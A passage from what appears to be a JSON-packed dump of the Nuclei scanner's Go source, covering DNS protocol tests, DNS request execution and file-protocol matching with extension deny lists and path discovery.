matcher.CompileMatchers()\n\t\trequire.Nil(t, err, \"could not compile matcher\")\n\n\t\tisMatched, matched := request.Match(event, matcher)\n\t\trequire.False(t, isMatched, \"could match invalid response matcher\")\n\t\trequire.Equal(t, []string{}, matched)\n\t})\n\n\tt.Run(\"caseInsensitive\", func(t *testing.T) {\n\t\treq := new(dns.Msg)\n\t\treq.Question = append(req.Question, dns.Question{Name: \"ONE.ONE.ONE.ONE.\", Qtype: dns.TypeA, Qclass: dns.ClassINET})\n\n\t\tresp := new(dns.Msg)\n\t\tresp.Rcode = dns.RcodeSuccess\n\t\tresp.Answer = append(resp.Answer, &dns.A{A: net.ParseIP(\"1.1.1.1\"), Hdr: dns.RR_Header{Name: \"ONE.ONE.ONE.ONE.\"}})\n\n\t\tevent := request.responseToDSLMap(req, resp, \"ONE.ONE.ONE.ONE\", \"ONE.ONE.ONE.ONE\", nil)\n\n\t\tmatcher := &matchers.Matcher{\n\t\t\tPart:            \"raw\",\n\t\t\tType:            matchers.MatcherTypeHolder{MatcherType: matchers.WordsMatcher},\n\t\t\tWords:           []string{\"one.ONE.one.ONE\"},\n\t\t\tCaseInsensitive: true,\n\t\t}\n\t\terr = matcher.CompileMatchers()\n\t\trequire.Nil(t, err, \"could not compile matcher\")\n\n\t\tisMatch, matched := request.Match(event, matcher)\n\t\trequire.True(t, isMatch, \"could not match valid response\")\n\t\trequire.Equal(t, []string{\"one.one.one.one\"}, matched)\n\t})\n}\n\nfunc TestDNSOperatorExtract(t *testing.T) {\n\toptions := testutils.DefaultOptions\n\n\trecursion := false\n\ttestutils.Init(options)\n\ttemplateID := \"testing-dns\"\n\trequest := &Request{\n\t\tRequestType: DNSRequestTypeHolder{DNSRequestType: A},\n\t\tClass:       \"INET\",\n\t\tRetries:     5,\n\t\tID:          templateID,\n\t\tRecursion:   &recursion,\n\t\tName:        \"{{FQDN}}\",\n\t}\n\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\tID:   templateID,\n\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t})\n\terr := request.Compile(executerOpts)\n\trequire.Nil(t, err, \"could not compile dns request\")\n\n\treq := new(dns.Msg)\n\treq.Question = append(req.Question, dns.Question{Name: \"one.one.one.one.\", Qtype: dns.TypeA, Qclass: dns.ClassINET})\n\n\tresp := new(dns.Msg)\n\tresp.Rcode = dns.RcodeSuccess\n\tresp.Answer = append(resp.Answer, &dns.A{A: net.ParseIP(\"1.1.1.1\"), Hdr: dns.RR_Header{Name: \"one.one.one.one.\"}})\n\n\tevent := request.responseToDSLMap(req, resp, \"one.one.one.one\", \"one.one.one.one\", nil)\n\n\tt.Run(\"extract\", func(t *testing.T) {\n\t\textractor := &extractors.Extractor{\n\t\t\tPart:  \"raw\",\n\t\t\tType:  extractors.ExtractorTypeHolder{ExtractorType: extractors.RegexExtractor},\n\t\t\tRegex: []string{\"[0-9]+\\\\.[0-9]+\\\\.[0-9]+\\\\.[0-9]+\"},\n\t\t}\n\t\terr = extractor.CompileExtractors()\n\t\trequire.Nil(t, err, \"could not compile extractor\")\n\n\t\tdata := request.Extract(event, extractor)\n\t\trequire.Greater(t, len(data), 0, \"could not extractor valid response\")\n\t\trequire.Equal(t, map[string]struct{}{\"1.1.1.1\": {}}, data, \"could not extract correct data\")\n\t})\n\n\tt.Run(\"kval\", func(t *testing.T) {\n\t\textractor := &extractors.Extractor{\n\t\t\tType: extractors.ExtractorTypeHolder{ExtractorType: extractors.KValExtractor},\n\t\t\tKVal: []string{\"rcode\"},\n\t\t}\n\t\terr = extractor.CompileExtractors()\n\t\trequire.Nil(t, err, \"could not compile kval extractor\")\n\n\t\tdata := request.Extract(event, extractor)\n\t\trequire.Greater(t, len(data), 0, \"could not extractor kval valid response\")\n\t\trequire.Equal(t, map[string]struct{}{strconv.Itoa(dns.RcodeSuccess): {}}, data, \"could not extract correct kval data\")\n\t})\n}\n\nfunc TestDNSMakeResult(t *testing.T) {\n\toptions := testutils.DefaultOptions\n\n\trecursion := false\n\ttestutils.Init(options)\n\ttemplateID := \"testing-dns\"\n\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\tID:   templateID,\n\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t})\n\trequest := &Request{\n\t\tRequestType: DNSRequestTypeHolder{DNSRequestType: A},\n\t\tClass:       \"INET\",\n\t\tRetries:     5,\n\t\tID:          templateID,\n\t\tRecursion:   &recursion,\n\t\tName:        \"{{FQDN}}\",\n\t\tOperators: operators.Operators{\n\t\t\tMatchers: []*matchers.Matcher{{\n\t\t\t\tName:  \"test\",\n\t\t\t\tPart:  \"raw\",\n\t\t\t\tType:  matchers.MatcherTypeHolder{MatcherType: matchers.WordsMatcher},\n\t\t\t\tWords: []string{\"1.1.1.1\"},\n\t\t\t}},\n\t\t\tExtractors: []*extractors.Extractor{{\n\t\t\t\tPart:  \"raw\",\n\t\t\t\tType:  extractors.ExtractorTypeHolder{ExtractorType: extractors.RegexExtractor},\n\t\t\t\tRegex: []string{\"[0-9]+\\\\.[0-9]+\\\\.[0-9]+\\\\.[0-9]+\"},\n\t\t\t}},\n\t\t},\n\t\toptions: executerOpts,\n\t}\n\terr := request.Compile(executerOpts)\n\trequire.Nil(t, err, \"could not compile dns request\")\n\n\treq := new(dns.Msg)\n\treq.Question = append(req.Question, dns.Question{Name: \"one.one.one.one.\", Qtype: dns.TypeA, Qclass: dns.ClassINET})\n\n\tresp := new(dns.Msg)\n\tresp.Rcode = dns.RcodeSuccess\n\tresp.Answer = append(resp.Answer, &dns.A{A: net.ParseIP(\"1.1.1.1\"), Hdr: dns.RR_Header{Name: \"one.one.one.one.\"}})\n\n\tevent := request.responseToDSLMap(req, resp, \"one.one.one.one\", \"one.one.one.one\", nil)\n\tfinalEvent := &output.InternalWrappedEvent{InternalEvent: event}\n\tif request.CompiledOperators != nil {\n\t\tresult, ok := request.CompiledOperators.Execute(event, request.Match, request.Extract, false)\n\t\tif ok && result != nil {\n\t\t\tfinalEvent.OperatorsResult = result\n\t\t\tfinalEvent.Results = request.MakeResultEvent(finalEvent)\n\t\t}\n\t}\n\trequire.Equal(t, 1, len(finalEvent.Results), \"could not get correct number of results\")\n\tresultEvent := finalEvent.Results[0]\n\trequire.Equal(t, \"test\", resultEvent.MatcherName, \"could not get correct matcher name of results\")\n\trequire.Equal(t, \"1.1.1.1\", resultEvent.ExtractedResults[0], \"could not get correct extracted results\")\n\trequire.Equal(t, \"one.one.one.one\", resultEvent.Matched, \"could not get matched value\")\n}\n"
  },
  {
    "path": "pkg/protocols/dns/request.go",
    "content": "package dns\n\nimport (\n\t\"encoding/hex\"\n\t\"fmt\"\n\tmaps0 \"maps\"\n\t\"strings\"\n\t\"sync\"\n\n\t\"github.com/miekg/dns\"\n\t\"github.com/pkg/errors\"\n\t\"go.uber.org/multierr\"\n\t\"golang.org/x/exp/maps\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/expressions\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/generators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/eventcreator\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/responsehighlighter\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/utils/vardump\"\n\tprotocolutils \"github.com/projectdiscovery/nuclei/v3/pkg/protocols/utils\"\n\ttemplateTypes \"github.com/projectdiscovery/nuclei/v3/pkg/templates/types\"\n\t\"github.com/projectdiscovery/retryabledns\"\n\tiputil \"github.com/projectdiscovery/utils/ip\"\n\tsyncutil \"github.com/projectdiscovery/utils/sync\"\n)\n\nvar _ protocols.Request = &Request{}\n\n// Type returns the type of the protocol request\nfunc (request *Request) Type() templateTypes.ProtocolType {\n\treturn templateTypes.DNSProtocol\n}\n\n// ExecuteWithResults executes the protocol requests and returns results instead of writing them.\nfunc (request *Request) ExecuteWithResults(input *contextargs.Context, metadata, previous output.InternalEvent, callback protocols.OutputEventCallback) error {\n\tvar err error\n\tdomain, err := request.parseDNSInput(input.MetaInput.Input)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not build request\")\n\t}\n\n\tvars := protocolutils.GenerateDNSVariables(domain)\n\t// optionvars are vars passed from CLI or env variables\n\toptionVars := generators.BuildPayloadFromOptions(request.options.Options)\n\t// merge with metadata (eg. from workflow context)\n\tif request.options.HasTemplateCtx(input.MetaInput) {\n\t\tvars = generators.MergeMaps(vars, metadata, optionVars, request.options.GetTemplateCtx(input.MetaInput).GetAll())\n\t}\n\tvariablesMap := request.options.Variables.Evaluate(vars)\n\tvars = generators.MergeMaps(vars, variablesMap, request.options.Constants)\n\n\t// if request threads matches global payload concurrency we follow it\n\tshouldFollowGlobal := request.Threads == request.options.Options.PayloadConcurrency\n\n\tif request.generator != nil {\n\t\titerator := request.generator.NewIterator()\n\t\tswg, err := syncutil.New(syncutil.WithSize(request.Threads))\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tvar multiErr error\n\t\tm := &sync.Mutex{}\n\n\t\tfor {\n\t\t\tvalue, ok := iterator.Value()\n\t\t\tif !ok {\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\tselect {\n\t\t\tcase <-input.Context().Done():\n\t\t\t\treturn input.Context().Err()\n\t\t\tdefault:\n\t\t\t}\n\n\t\t\t// resize check point - nop if there are no changes\n\t\t\tif shouldFollowGlobal && swg.Size != request.options.Options.PayloadConcurrency {\n\t\t\t\tif err := swg.Resize(input.Context(), request.options.Options.PayloadConcurrency); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tvalue = generators.MergeMaps(vars, value)\n\t\t\tswg.Add()\n\t\t\tgo func(newVars map[string]interface{}) {\n\t\t\t\tdefer swg.Done()\n\t\t\t\tif err := request.execute(input, domain, metadata, previous, newVars, callback); err != nil {\n\t\t\t\t\tm.Lock()\n\t\t\t\t\tmultiErr = multierr.Append(multiErr, err)\n\t\t\t\t\tm.Unlock()\n\t\t\t\t}\n\t\t\t}(value)\n\t\t}\n\t\tswg.Wait()\n\t\tif multiErr != nil {\n\t\t\treturn multiErr\n\t\t}\n\t} else {\n\t\tvalue := maps.Clone(vars)\n\t\treturn request.execute(input, domain, metadata, previous, value, callback)\n\t}\n\treturn nil\n}\n\nfunc (request *Request) execute(input *contextargs.Context, domain string, metadata, previous output.InternalEvent, vars map[string]interface{}, callback protocols.OutputEventCallback) error {\n\tvar err error\n\tif vardump.EnableVarDump {\n\t\tgologger.Debug().Msgf(\"DNS Protocol request variables: %s\\n\", vardump.DumpVariables(vars))\n\t}\n\n\t// Compile each request for the template based on the URL\n\tcompiledRequest, err := request.Make(domain, vars)\n\tif err != nil {\n\t\trequest.options.Output.Request(request.options.TemplatePath, domain, request.Type().String(), err)\n\t\trequest.options.Progress.IncrementFailedRequestsBy(1)\n\t\treturn errors.Wrap(err, \"could not build request\")\n\t}\n\n\tdnsClient := request.dnsClient\n\tif varErr := expressions.ContainsUnresolvedVariables(request.Resolvers...); varErr != nil {\n\t\tif dnsClient, varErr = request.getDnsClient(request.options, metadata); varErr != nil {\n\t\t\tgologger.Warning().Msgf(\"[%s] Could not make dns request for %s: %v\\n\", request.options.TemplateID, domain, varErr)\n\t\t\treturn nil\n\t\t}\n\t}\n\tquestion := domain\n\tif len(compiledRequest.Question) > 0 {\n\t\tquestion = compiledRequest.Question[0].Name\n\t}\n\t// remove the last dot\n\tdomain = strings.TrimSuffix(domain, \".\")\n\tquestion = strings.TrimSuffix(question, \".\")\n\n\trequestString := compiledRequest.String()\n\tif varErr := expressions.ContainsUnresolvedVariables(requestString); varErr != nil {\n\t\tgologger.Warning().Msgf(\"[%s] Could not make dns request for %s: %v\\n\", request.options.TemplateID, question, varErr)\n\t\treturn nil\n\t}\n\tif request.options.Options.Debug || request.options.Options.DebugRequests || request.options.Options.StoreResponse {\n\t\tmsg := fmt.Sprintf(\"[%s] Dumped DNS request for %s\", request.options.TemplateID, question)\n\t\tif request.options.Options.Debug || request.options.Options.DebugRequests {\n\t\t\tgologger.Info().Str(\"domain\", domain).Msg(msg)\n\t\t\tgologger.Print().Msgf(\"%s\", requestString)\n\t\t}\n\t\tif request.options.Options.StoreResponse {\n\t\t\trequest.options.Output.WriteStoreDebugData(domain, request.options.TemplateID, request.Type().String(), fmt.Sprintf(\"%s\\n%s\", msg, requestString))\n\t\t}\n\t}\n\n\trequest.options.RateLimitTake()\n\n\t// Send the request to the target servers\n\tresponse, err := dnsClient.Do(compiledRequest)\n\tif err != nil {\n\t\trequest.options.Output.Request(request.options.TemplatePath, domain, request.Type().String(), err)\n\t\trequest.options.Progress.IncrementFailedRequestsBy(1)\n\t} else {\n\t\trequest.options.Progress.IncrementRequests()\n\t}\n\tif response == nil {\n\t\treturn errors.Wrap(err, \"could not send dns request\")\n\t}\n\n\trequest.options.Output.Request(request.options.TemplatePath, domain, request.Type().String(), err)\n\tgologger.Verbose().Msgf(\"[%s] Sent DNS request to %s\\n\", request.options.TemplateID, question)\n\n\t// perform trace if necessary\n\tvar traceData *retryabledns.TraceData\n\tif request.Trace {\n\t\ttraceData, err = request.dnsClient.Trace(domain, request.question, request.TraceMaxRecursion)\n\t\tif err != nil {\n\t\t\trequest.options.Output.Request(request.options.TemplatePath, domain, \"dns\", err)\n\t\t}\n\t}\n\n\t// Create the output event\n\toutputEvent := request.responseToDSLMap(compiledRequest, response, domain, question, traceData)\n\t// expose response variables in proto_var format\n\t// this is no-op if the template is not a multi protocol template\n\trequest.options.AddTemplateVars(input.MetaInput, request.Type(), request.ID, outputEvent)\n\tmaps0.Copy(outputEvent, previous)\n\tmaps0.Copy(outputEvent, vars)\n\t// add variables from template context before matching/extraction\n\tif request.options.HasTemplateCtx(input.MetaInput) {\n\t\toutputEvent = generators.MergeMaps(outputEvent, request.options.GetTemplateCtx(input.MetaInput).GetAll())\n\t}\n\tevent := eventcreator.CreateEvent(request, outputEvent, request.options.Options.Debug || request.options.Options.DebugResponse)\n\n\tdumpResponse(event, request, request.options, response.String(), question)\n\tif request.Trace {\n\t\tdumpTraceData(event, request.options, traceToString(traceData, true), question)\n\t}\n\n\tcallback(event)\n\treturn err\n}\n\nfunc (request *Request) parseDNSInput(host string) (string, error) {\n\tisIP := iputil.IsIP(host)\n\tswitch {\n\tcase request.question == dns.TypePTR && isIP:\n\t\tvar err error\n\t\thost, err = dns.ReverseAddr(host)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\tdefault:\n\t\tif isIP {\n\t\t\treturn \"\", errors.New(\"cannot use IP address as DNS input\")\n\t\t}\n\t\thost = dns.Fqdn(host)\n\t}\n\treturn host, nil\n}\n\nfunc dumpResponse(event *output.InternalWrappedEvent, request *Request, _ *protocols.ExecutorOptions, response, domain string) {\n\tcliOptions := request.options.Options\n\tif cliOptions.Debug || cliOptions.DebugResponse || cliOptions.StoreResponse {\n\t\thexDump := false\n\t\tif responsehighlighter.HasBinaryContent(response) {\n\t\t\thexDump = true\n\t\t\tresponse = hex.Dump([]byte(response))\n\t\t}\n\t\thighlightedResponse := responsehighlighter.Highlight(event.OperatorsResult, response, cliOptions.NoColor, hexDump)\n\t\tmsg := fmt.Sprintf(\"[%s] Dumped DNS response for %s\\n\\n%s\", request.options.TemplateID, domain, highlightedResponse)\n\t\tif cliOptions.Debug || cliOptions.DebugResponse {\n\t\t\tgologger.Debug().Msg(msg)\n\t\t}\n\t\tif cliOptions.StoreResponse {\n\t\t\trequest.options.Output.WriteStoreDebugData(domain, request.options.TemplateID, request.Type().String(), msg)\n\t\t}\n\t}\n}\n\nfunc dumpTraceData(event *output.InternalWrappedEvent, requestOptions *protocols.ExecutorOptions, traceData, domain string) {\n\tcliOptions := requestOptions.Options\n\tif cliOptions.Debug || cliOptions.DebugResponse {\n\t\thexDump := false\n\t\tif responsehighlighter.HasBinaryContent(traceData) {\n\t\t\thexDump = true\n\t\t\ttraceData = hex.Dump([]byte(traceData))\n\t\t}\n\t\thighlightedResponse := responsehighlighter.Highlight(event.OperatorsResult, traceData, cliOptions.NoColor, hexDump)\n\t\tgologger.Debug().Msgf(\"[%s] Dumped DNS Trace data for %s\\n\\n%s\", requestOptions.TemplateID, domain, highlightedResponse)\n\t}\n}\n"
  },
  {
    "path": "pkg/protocols/dns/request_test.go",
    "content": "package dns\n\nimport (\n\t\"context\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/extractors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/matchers\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n)\n\nfunc TestDNSExecuteWithResults(t *testing.T) {\n\toptions := testutils.DefaultOptions\n\n\trecursion := true\n\ttestutils.Init(options)\n\ttemplateID := \"testing-dns\"\n\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\tID:   templateID,\n\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t})\n\trequest := &Request{\n\t\tRequestType: DNSRequestTypeHolder{DNSRequestType: A},\n\t\tClass:       \"INET\",\n\t\tRetries:     5,\n\t\tID:          templateID,\n\t\tRecursion:   &recursion,\n\t\tName:        \"{{FQDN}}\",\n\t\tOperators: operators.Operators{\n\t\t\tMatchers: []*matchers.Matcher{{\n\t\t\t\tName:  \"test\",\n\t\t\t\tPart:  \"raw\",\n\t\t\t\tType:  matchers.MatcherTypeHolder{MatcherType: matchers.WordsMatcher},\n\t\t\t\tWords: []string{\"8.8.8.8\"},\n\t\t\t}},\n\t\t\tExtractors: []*extractors.Extractor{{\n\t\t\t\tPart:  \"raw\",\n\t\t\t\tType:  extractors.ExtractorTypeHolder{ExtractorType: extractors.RegexExtractor},\n\t\t\t\tRegex: []string{\"[0-9]+\\\\.[0-9]+\\\\.[0-9]+\\\\.[0-9]+\"},\n\t\t\t}},\n\t\t},\n\t\toptions: executerOpts,\n\t}\n\terr := request.Compile(executerOpts)\n\trequire.Nil(t, err, \"could not compile dns request\")\n\n\tvar finalEvent *output.InternalWrappedEvent\n\tt.Run(\"domain-valid\", func(t *testing.T) {\n\t\tmetadata := make(output.InternalEvent)\n\t\tprevious := make(output.InternalEvent)\n\t\tctxArgs := contextargs.NewWithInput(context.Background(), \"dns.google\")\n\t\terr := request.ExecuteWithResults(ctxArgs, metadata, previous, func(event *output.InternalWrappedEvent) {\n\t\t\tfinalEvent = event\n\t\t})\n\t\trequire.Nil(t, err, \"could not execute dns request\")\n\t})\n\trequire.NotNil(t, finalEvent, \"could not get event output from request\")\n\trequire.Equal(t, 1, len(finalEvent.Results), \"could not get correct number of results\")\n\trequire.Equal(t, \"test\", finalEvent.Results[0].MatcherName, \"could not get correct matcher name of results\")\n\trequire.GreaterOrEqual(t, 2, len(finalEvent.Results[0].ExtractedResults), \"could not get correct number of extracted results\")\n\trequire.Contains(t, finalEvent.Results[0].ExtractedResults, \"8.8.8.8\", \"could not get correct extracted results\")\n\trequire.Contains(t, finalEvent.Results[0].ExtractedResults, \"8.8.4.4\", \"could not get correct extracted results\")\n\tfinalEvent = nil\n\t// Note: changing url to domain is responsible at tmplexec package and is implemented there\n}\n"
  },
  {
    "path": "pkg/protocols/file/file.go",
    "content": "package file\n\nimport (\n\t\"path/filepath\"\n\t\"strings\"\n\n\t\"github.com/docker/go-units\"\n\t\"github.com/h2non/filetype\"\n\t\"github.com/pkg/errors\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n)\n\nvar (\n\tdefaultMaxReadSize, _ = units.FromHumanSize(\"1Gb\")\n\tchunkSize, _          = units.FromHumanSize(\"100Mb\")\n)\n\n// Request contains a File matching mechanism for local disk operations.\ntype Request struct {\n\t// Operators for the current request go here.\n\toperators.Operators `yaml:\",inline\"`\n\t// description: |\n\t//   Extensions is the list of extensions or mime types to perform matching on.\n\t// examples:\n\t//   - value: '[]string{\".txt\", \".go\", \".json\"}'\n\tExtensions []string `yaml:\"extensions,omitempty\" json:\"extensions,omitempty\" jsonschema:\"title=extensions to match,description=List of extensions to perform matching on\"`\n\t// description: |\n\t//   DenyList is the list of file, directories, mime types or extensions to deny during matching.\n\t//\n\t//   By default, it contains some non-interesting extensions that are hardcoded\n\t//   in nuclei.\n\t// examples:\n\t//   - value: '[]string{\".avi\", \".mov\", \".mp3\"}'\n\tDenyList []string `yaml:\"denylist,omitempty\" json:\"denylist,omitempty\" jsonschema:\"title=denylist, directories and extensions to deny match,description=List of files, directories and extensions to deny during matching\"`\n\n\t// ID is the optional id of the request\n\tID string `yaml:\"id,omitempty\" json:\"id,omitempty\" jsonschema:\"title=id of the request,description=ID is the optional ID for the request\"`\n\n\t// description: |\n\t//   MaxSize is the maximum size of the file to run request on.\n\t//\n\t//   By default, nuclei will process 1 GB of content and not go more than that.\n\t//   It can be set to much lower or higher depending on use.\n\t//   If set to \"no\" then all content will be processed\n\t// examples:\n\t//   - value: \"\\\"5Mb\\\"\"\n\tMaxSize string `yaml:\"max-size,omitempty\" json:\"max-size,omitempty\" jsonschema:\"title=max size data to run request on,description=Maximum size of the file to run request on\"`\n\tmaxSize int64\n\n\t// description: |\n\t//   elaborates archives\n\tArchive bool `yaml:\"archive,omitempty\" json:\"archive,omitempty\" jsonschema:\"title=enable archives,description=Process compressed archives without unpacking\"`\n\n\t// description: |\n\t//   enables mime types check\n\tMimeType bool `yaml:\"mime-type,omitempty\" json:\"mime-type,omitempty\" jsonschema:\"title=enable filtering by mime-type,description=Filter files by mime-type\"`\n\n\tCompiledOperators *operators.Operators `yaml:\"-\" json:\"-\"`\n\n\t// cache any variables that may be needed for operation.\n\toptions             *protocols.ExecutorOptions\n\tmimeTypesChecks     []string\n\textensions          map[string]struct{}\n\tdenyList            map[string]struct{}\n\tdenyMimeTypesChecks []string\n\n\t// description: |\n\t//   NoRecursive specifies whether to not do recursive checks if folders are provided.\n\tNoRecursive bool `yaml:\"no-recursive,omitempty\" json:\"no-recursive,omitempty\" jsonschema:\"title=do not perform recursion,description=Specifies whether to not do recursive checks if folders are provided\"`\n\n\tallExtensions bool\n}\n\n// RequestPartDefinitions contains a mapping of request part definitions and their\n// description. Multiple definitions are separated by commas.\n// Definitions not having a name (generated on runtime) are prefixed & suffixed by <>.\nvar RequestPartDefinitions = map[string]string{\n\t\"template-id\":       \"ID of the template executed\",\n\t\"template-info\":     \"Info Block of the template executed\",\n\t\"template-path\":     \"Path of the template executed\",\n\t\"matched\":           \"Matched is the input which was matched upon\",\n\t\"path\":              \"Path is the path of file on local filesystem\",\n\t\"type\":              \"Type is the type of request made\",\n\t\"raw,body,all,data\": \"Raw contains the raw file contents\",\n}\n\n// defaultDenylist contains common extensions to exclude\nvar defaultDenylist = []string{\".3g2\", \".3gp\", \".arj\", \".avi\", \".axd\", \".bmp\", \".css\", \".csv\", \".deb\", \".dll\", \".doc\", \".drv\", \".eot\", \".exe\", \".flv\", \".gif\", \".gifv\", \".h264\", \".ico\", \".iso\", \".jar\", \".jpeg\", \".jpg\", \".lock\", \".m4a\", \".m4v\", \".map\", \".mkv\", \".mov\", \".mp3\", \".mp4\", \".mpeg\", \".mpg\", \".msi\", \".ogg\", \".ogm\", \".ogv\", \".otf\", \".pdf\", \".pkg\", \".png\", \".ppt\", \".psd\", \".rm\", \".rpm\", \".svg\", \".swf\", \".sys\", \".tif\", \".tiff\", \".ttf\", \".vob\", \".wav\", \".webm\", \".wmv\", \".woff\", \".woff2\", \".xcf\", \".xls\", \".xlsx\"}\n\n// defaultArchiveDenyList contains common archive extensions to exclude\nvar defaultArchiveDenyList = []string{\".7z\", \".apk\", \".gz\", \".rar\", \".tar.gz\", \".tar\", \".zip\"}\n\n// GetID returns the unique ID of the request if any.\nfunc (request *Request) GetID() string {\n\treturn request.ID\n}\n\n// Compile compiles the protocol request for further execution.\nfunc (request *Request) Compile(options *protocols.ExecutorOptions) error {\n\t// if there are no matchers/extractors, we trigger an error as no operation would be performed on the template\n\tif request.IsEmpty() {\n\t\treturn errors.New(\"empty operators\")\n\t}\n\tcompiled := &request.Operators\n\tcompiled.ExcludeMatchers = options.ExcludeMatchers\n\tcompiled.TemplateID = options.TemplateID\n\tif err := compiled.Compile(); err != nil {\n\t\treturn errors.Wrap(err, \"could not compile operators\")\n\t}\n\trequest.CompiledOperators = compiled\n\n\t// By default, use default max size if not defined\n\tswitch {\n\tcase request.MaxSize != \"\":\n\t\tmaxSize, err := units.FromHumanSize(request.MaxSize)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"could not compile operators\")\n\t\t}\n\t\trequest.maxSize = maxSize\n\tcase request.MaxSize == \"no\":\n\t\trequest.maxSize = -1\n\tdefault:\n\t\trequest.maxSize = defaultMaxReadSize\n\t}\n\n\trequest.options = options\n\n\trequest.extensions = make(map[string]struct{})\n\trequest.denyList = make(map[string]struct{})\n\n\tfor _, extension := range request.Extensions {\n\t\tswitch {\n\t\tcase extension == \"all\":\n\t\t\trequest.allExtensions = true\n\t\tcase request.MimeType && filetype.IsMIMESupported(extension):\n\t\t\tcontinue\n\t\tdefault:\n\t\t\tif !strings.HasPrefix(extension, \".\") {\n\t\t\t\textension = \".\" + extension\n\t\t\t}\n\t\t\trequest.extensions[extension] = struct{}{}\n\t\t}\n\t}\n\trequest.mimeTypesChecks = extractMimeTypes(request.Extensions)\n\n\t// process default denylist (extensions)\n\tvar denyList []string\n\tif !request.Archive {\n\t\tdenyList = append(defaultDenylist, defaultArchiveDenyList...)\n\t} else {\n\t\tdenyList = defaultDenylist\n\t}\n\tfor _, excludeItem := range denyList {\n\t\tif !strings.HasPrefix(excludeItem, \".\") {\n\t\t\texcludeItem = \".\" + excludeItem\n\t\t}\n\t\trequest.denyList[excludeItem] = struct{}{}\n\t}\n\tfor _, excludeItem := range request.DenyList {\n\t\trequest.denyList[excludeItem] = struct{}{}\n\t\t// also add a cleaned version as the exclusion path can be dirty (eg. /a/b/c, /a/b/c/, a///b///c/../d)\n\t\trequest.denyList[filepath.Clean(excludeItem)] = struct{}{}\n\t}\n\trequest.denyMimeTypesChecks = extractMimeTypes(request.DenyList)\n\treturn nil\n}\n\nfunc matchAnyMimeTypes(data []byte, mimeTypes []string) bool {\n\tfor _, mimeType := range mimeTypes {\n\t\tif filetype.Is(data, mimeType) {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\nfunc extractMimeTypes(m []string) []string {\n\tvar mimeTypes []string\n\tfor _, mm := range m {\n\t\tif !filetype.IsMIMESupported(mm) {\n\t\t\tcontinue\n\t\t}\n\t\tmimeTypes = append(mimeTypes, mm)\n\t}\n\treturn mimeTypes\n}\n\n// Requests returns the total number of requests the YAML rule will perform\nfunc (request *Request) Requests() int {\n\treturn 0\n}\n\n// UpdateOptions replaces this request's options with a new copy\nfunc (r *Request) UpdateOptions(opts *protocols.ExecutorOptions) {\n\tr.options.ApplyNewEngineOptions(opts)\n}\n"
  },
  {
    "path": "pkg/protocols/file/find.go",
    "content": "package file\n\nimport (\n\t\"io\"\n\t\"io/fs\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\n\t\"github.com/pkg/errors\"\n\t\"github.com/projectdiscovery/gologger\"\n\tfileutil \"github.com/projectdiscovery/utils/file\"\n\tfolderutil \"github.com/projectdiscovery/utils/folder\"\n)\n\n// getInputPaths parses the specified input paths and returns a compiled\n// list of finished absolute paths to the files evaluating any allowlist, denylist,\n// glob, file or folders, etc.\nfunc (request *Request) getInputPaths(target string, callback func(string)) error {\n\tprocessed := make(map[string]struct{})\n\n\t// Template input includes a wildcard\n\tif strings.Contains(target, \"*\") && !request.NoRecursive {\n\t\tif err := request.findGlobPathMatches(target, processed, callback); err != nil {\n\t\t\treturn errors.Wrap(err, \"could not find glob matches\")\n\t\t}\n\t\treturn nil\n\t}\n\n\t// Template input is either a file or a directory\n\tfile, err := request.findFileMatches(target, processed, callback)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not find file\")\n\t}\n\tif file {\n\t\treturn nil\n\t}\n\tif request.NoRecursive {\n\t\treturn nil // we don't process dirs in no-recursive mode\n\t}\n\t// Recursively walk down the Templates directory and run all\n\t// the template file checks\n\tif err := request.findDirectoryMatches(target, processed, callback); err != nil {\n\t\treturn errors.Wrap(err, \"could not find directory matches\")\n\t}\n\treturn nil\n}\n\n// findGlobPathMatches returns the matched files from a glob path\nfunc (request *Request) findGlobPathMatches(absPath string, processed map[string]struct{}, callback func(string)) error {\n\tmatches, err := filepath.Glob(absPath)\n\tif err != nil {\n\t\treturn errors.Errorf(\"wildcard found, but unable to glob: %s\\n\", err)\n\t}\n\tfor _, match := range matches {\n\t\tif !request.validatePath(absPath, match, false) {\n\t\t\tcontinue\n\t\t}\n\t\tif _, ok := processed[match]; !ok 